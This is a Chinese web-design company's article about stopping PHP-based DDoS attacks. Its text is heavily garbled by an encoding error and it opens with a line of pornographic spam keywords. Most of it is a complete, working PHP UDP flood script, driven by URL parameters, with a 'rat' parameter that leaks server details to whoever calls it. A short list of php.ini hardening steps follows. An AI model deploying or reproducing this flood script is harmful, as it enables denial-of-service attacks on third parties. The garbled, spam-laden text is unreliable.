真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何在php項(xiàng)目中防止ddos攻擊-創(chuàng)新互聯(lián)

本篇文章給大家分享的是有關(guān)如何在php項(xiàng)目中防止ddos攻擊,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

創(chuàng)新互聯(lián)公司專注于金東企業(yè)網(wǎng)站建設(shè),成都響應(yīng)式網(wǎng)站建設(shè)公司,成都商城網(wǎng)站開發(fā)。金東網(wǎng)站建設(shè)公司,為金東等地區(qū)提供建站服務(wù)。全流程按需定制網(wǎng)站,專業(yè)設(shè)計(jì),全程項(xiàng)目跟蹤,創(chuàng)新互聯(lián)公司專業(yè)和態(tài)度為您提供的服務(wù)

php有什么用

php是一個(gè)嵌套的縮寫名稱,是英文超級(jí)文本預(yù)處理語言,它的語法混合了C、Java、Perl以及php自創(chuàng)新的語法,主要用來做網(wǎng)站開發(fā),許多小型網(wǎng)站都用php開發(fā),因?yàn)閜hp是開源的,從而使得php經(jīng)久不衰。

代碼如下:


set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
 
for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }
 
$max_time = time()+$exec_time;
 
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
 
echo "Send Host:$host:$port

";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>


關(guān)鍵代碼在于如下:


復(fù)制代碼 代碼如下:

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很簡(jiǎn)單,向目標(biāo)主機(jī)發(fā)送UDP包,在加上定義無限死循環(huán),就會(huì)形成較大的壓力.

這個(gè)壓力是對(duì)于執(zhí)行這個(gè)腳本的服務(wù)器來說的,因?yàn)樗紫葘?duì)自身的網(wǎng)寬、CPU等資源造成大量占用,如果想用這個(gè)腳本對(duì)目標(biāo)站點(diǎn)形成壓力,需要在多個(gè)服務(wù)器上執(zhí)行該腳本,DDOS嘛,既然是用fsockopen請(qǐng)求外部,那就不讓他請(qǐng)求.

php.ini里設(shè)置,代碼如下:


復(fù)制代碼 代碼如下:

allow_url_fopen = Off

如果這樣他還是能發(fā)包,代碼如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重啟APACHE、IIS、NGINX,這樣就可以防止PHP DDOS發(fā)包了.

另外有網(wǎng)友說,讓腳本不允許設(shè)置為不超時(shí)很簡(jiǎn)單:

1. 把set_time_limit函數(shù)禁用

2. 啟用PHP的安全模式(safe_mode=on).

禁用socket函數(shù)可以把把socket模塊直接全部禁用也可以禁用fsockopen函數(shù),建議,由于socket常用于發(fā)送郵件找回密碼,因此建議開啟直接開啟安全模式,但是這樣的話,腳本每30秒超時(shí)一次,估計(jì)沒有哪個(gè)“黑客”寂寞到每30秒去點(diǎn)一下開始DDOS.

以上就是如何在php項(xiàng)目中防止ddos攻擊,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


新聞標(biāo)題:如何在php項(xiàng)目中防止ddos攻擊-創(chuàng)新互聯(lián)
分享鏈接:http://weahome.cn/article/jeios.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部